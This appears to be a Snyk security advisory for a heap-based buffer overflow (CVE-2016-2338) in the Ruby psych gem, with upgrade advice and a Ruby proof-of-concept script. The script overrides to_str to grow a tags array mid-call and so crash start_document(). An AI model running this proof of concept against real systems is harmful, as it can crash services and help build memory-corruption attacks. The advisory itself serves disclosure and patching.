Heap-based Buffer Overflow Affecting psych package, versions <2.0.17


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.25% (65th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-RUBY-PSYCH-3035529
  • published29 Sept 2022
  • disclosed29 Sept 2022
  • creditMarcin ‘Icewall’ Noga

Introduced: 29 Sep 2022

CVE-2016-2338  (opens in a new tab)
CWE-122  (opens in a new tab)

How to fix?

Upgrade psych to version 2.0.17 or higher.

Overview

Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the start_document() function in psych_emitter.c. Passing in a malicious tags array can trigger a crash.

PoC:

require 'Psych'

$tags = []

puts "[+] Start"
f = File.new("newfile",  "w+")
emitter = Psych::Emitter.new(f)
version = [1,1]
obj = Regexp.new("a".force_encoding("utf-8"),Regexp::Regexp::FIXEDENCODING)

def obj.to_str
    puts "[+] Increasing size of tags array"
    (1..10).map{|x| $tags.push(["AAAA","BBBB"])}
    puts "[+] tags array size : #{$tags.length}"	
    return "x"
end

$tags.push([obj,"tag:TALOS"])
puts "[+] tags array size : #{$tags.length}"	
emitter.start_document(version,$tags,0)

puts "[+] End"

CVSS Scores

version 3.1